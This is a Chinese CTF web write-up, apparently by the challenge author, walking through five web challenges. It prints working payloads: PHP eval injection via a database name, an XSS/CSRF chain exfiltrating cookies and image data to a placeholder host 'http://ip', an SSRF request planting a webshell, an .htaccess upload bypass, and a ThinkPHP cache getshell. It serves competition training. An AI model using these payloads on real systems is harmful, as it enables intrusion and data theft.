巅峰极客Web - Writeup

2019-04-04 约 1441 字 预计阅读 3 分钟

声明:本文 【巅峰极客Web - Writeup】 由作者 l3m0n 于 2018-07-23 10:49:12 首发 先知社区 曾经 浏览数 6226 次

感谢 l3m0n 的辛苦付出!

前言

这次和另外一个师傅合作出了几个web,出题时间太仓促,所以很多地方有许考虑不周,望多多见谅。
接到任务是说多偏向实战,那就只能用一些最新的CMS来上了,这次题目大概是dedefun的1day利用,其余的则是网络公开漏洞或者是常规渗透思路即可解决。过程中发现各种师傅们直接掏出0day就是干,很是膜拜呀 ~

pentest

目录扫描得到file/file.php,然后猜测可以跨目录删除文件

删除文件后重装metinfo,重装的时候数据库名填写:

met#*/@eval($_GET[1]);/*

密码填写为root,这里提一句,由于平台的网络acl问题,所有的环境都是不能外连mysql的,导致会有一点坑。

最后就是getshell拿flag

mysqlonline

通过mysql执行,经过hex编码后,输出可以造成xss
select 0x3c7363726970743e616c6572742831293c2f7363726970743e

结合csrf即可打到后台

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://love.lemon/runsql.php" method="POST">
      <input type="hidden" name="sql" value="select 0x30783c736372697074207372633d687474703a2f2f69702f7873732f312e6a733e3c2f7363726970743e" />
    </form>
    <script>document.forms[0].submit();</script>
  </body>
</html>

提交。
其中加载的js内容为:

self.location = 'http://ip/x.php?v=aaa'+btoa(document.cookie)+'aaa';

可以从服务器上面知道,有管理员登录了后台,但是地址是127.0.0.1的。

访问: http://love.lemon/admin_zzzz666.php

提示后台只能是127.0.0.1这个访问。
所以需要改一下前面的csrf html

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://127.0.0.1/runsql.php" method="POST">
      <input type="hidden" name="sql" value="select 0x30783c736372697074207372633d687474703a2f2f69702f7873732f312e6a733e3c2f7363726970743e" />
    </form>
    <script>document.forms[0].submit();</script>
  </body>
</html>

然后便可以打到cookie

通过页面源码获取可以知道一个
./static/img/iamsecret_555.jpg

外网直接访问是不行的,会403,需要通过xss来获取图片内容。flag也在图片上面。

var love={ajax:function(){var a;try{a=new XMLHttpRequest()}catch(e){try{a=new ActiveXObject("Msxml2.XMLHTTP")}catch(e){try{a=new ActiveXObject("Microsoft.XMLHTTP")}catch(e){return false}}}return a},req:function(b,c,d,e){d=(d||"").toUpperCase();d=d||"GET";c=c||"";if(b){var a=this.ajax();a.open(d,b,true);if(d=="POST"){a.setRequestHeader("Content-type","application/x-www-form-urlencoded")}a.onreadystatechange=function(){if(a.readyState==4){if(e){e(a)}}};if((typeof c)=="object"){var f=[];for(var i in c){f.push(i+"="+encodeURIComponent(c[i]))}a.send(f.join("&"))}else{a.send(c||null)}}},get:function(a,b){this.req(a,"","GET",b)},post:function(a,b,c){this.req(a,b,"POST",c)}};

function getBase64(img){
    function getBase64Image(img,width,height) {//width、height调用时传入具体像素值,控制大小 ,不传则默认图像大小
        var canvas = document.createElement("canvas");
        canvas.width = width ? width : img.width;
        canvas.height = height ? height : img.height;

        var ctx = canvas.getContext("2d");
        ctx.drawImage(img, 0, 0, canvas.width, canvas.height);
        var dataURL = canvas.toDataURL();
        return dataURL;
    }
    var image = new Image();
    image.crossOrigin = '';
    image.src = img;
    return new Promise((resolve,reject)=>{
        image.onload =function (){
            resolve(getBase64Image(image));//将base64传给done上传处理
        }
    });
}

getBase64('http://127.0.0.1/static/img/iamsecret_555.jpg').then(base64 => {
    love.post(
      "http://ip/xss/x.php",
      "v="+base64,
      function(res){
        console.log(res);
      }
    );
}, err => {
    console.log(err)
})

获取图片内容
X.php内容

<?php
header('Access-Control-Allow-Origin: *');
file_put_contents('log.txt',$_POST['v']);

最后会获取到图片,当然这个过程中+会被转换为空格,所以后面还要转换回来。

dedeFun

题目描述:

运维自己的网站,我还是喜欢用shell的方式,这样肯定没人能日进来了。
1.php
<?php
if ($_SERVER['REMOTE_ADDR'] !== '127.0.0.1') {
    die('Who are you? your ip is:'.$_SERVER['REMOTE_ADDR']);
}
$_GET['a']($_GET['b']);
?>

感觉很傻的故事,没法,不知道如何去设计这个考点,但是从上来看,肯定是靠ssrf的点。
考点便是前段时间一个思路很棒的漏洞:dedecms利用通配符找后台目录

当然getimagesize这个函数还可以远程http请求,导致可以进行ssrf,有兴趣的朋友可以跟进php内核看下。

所以接下来就比较简单了,直接利用本身的shell去操作即可。

POST /tags.php HTTP/1.1
Host: love.lemon
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7,ja;q=0.6
Cookie: YDAL_2132_saltkey=umJCWaoK; YDAL_2132_lastvisit=1531231707; YDAL_2132_ulastactivity=8d9ffh%2BiVUvLiWxFVmAltTKPHq5V9hUJ5PvDa4s84r553KMhDZMx; YDAL_2132_auth=a017j1pf9qMN%2F5Pa1g7C6kyv3ik6f%2B7eqtppI5c6sSWzI0ggQU5wSkRNDoXuXqvSSMnI%2BN3ObxEMn7jaaNJW; YDAL_2132_nofavfid=1; YDAL_2132_lip=10.211.55.2%2C1531237092; YDAL_2132_home_diymode=1
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 251

dopost=save&_FILES[lsa][tmp_name]=http://127.0.0.1/1.php?a=assert%26b=file_put_contents($_GET[1],base64_decode($_GET[2]));%261=./uploads/soft/aaaa.php%262=PD9waHAgcGhwaW5mbygpOyA/Pg==&_FILES[lsa][name]=0&_FILES[lsa][size]=0&_FILES[lsa][type]=image/gif

babyweb

首先看到首页:

用户名为BabyWeb@my.lol

猜测密码为弱口令babyweb@1990
登陆后发现任意文件上传,但是只能图片格式

用top100密码爆破mysql,1q2w3e4r5t6y,这里本来是用root,但是搅屎太多,改为了babyweb

进入后发现

然后更改type的json数据为
{"0":"png","1":"gif","2":"jpg","3":"xxx","5":"htaccess"}
即可上传htaccess

AddType application/x-httpd-php .xxx
php_flag engine 1

上传后,在file下可以看到文件名

然后访问../img/name.xxx即可shell

A Simple CMS

考点就是thinkphp的缓存getshell漏洞,当然先得发现备份文件www.zip,然后进行审计。

/* 获取缓存数据 */
if(empty($list)){
    $list = S('sys_user_nickname_list');
}

审计代码发现更改了源码
因为用户名有长度限制
于是直接这样就OK

%0a@`$_GET[c]`;//

然后即可拿到shell

http://127.0.0.1:8097/Runtime/Temp/onethink_6d11f0be3af9c28d4120c8fd5fe65a40.php

http://127.0.0.1:8097/Runtime/Temp/onethink_6d11f0be3af9c28d4120c8fd5fe65a40.php?c=cat /flag>/tmp/flag

关键词:[‘技术文章’, ‘技术文章’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now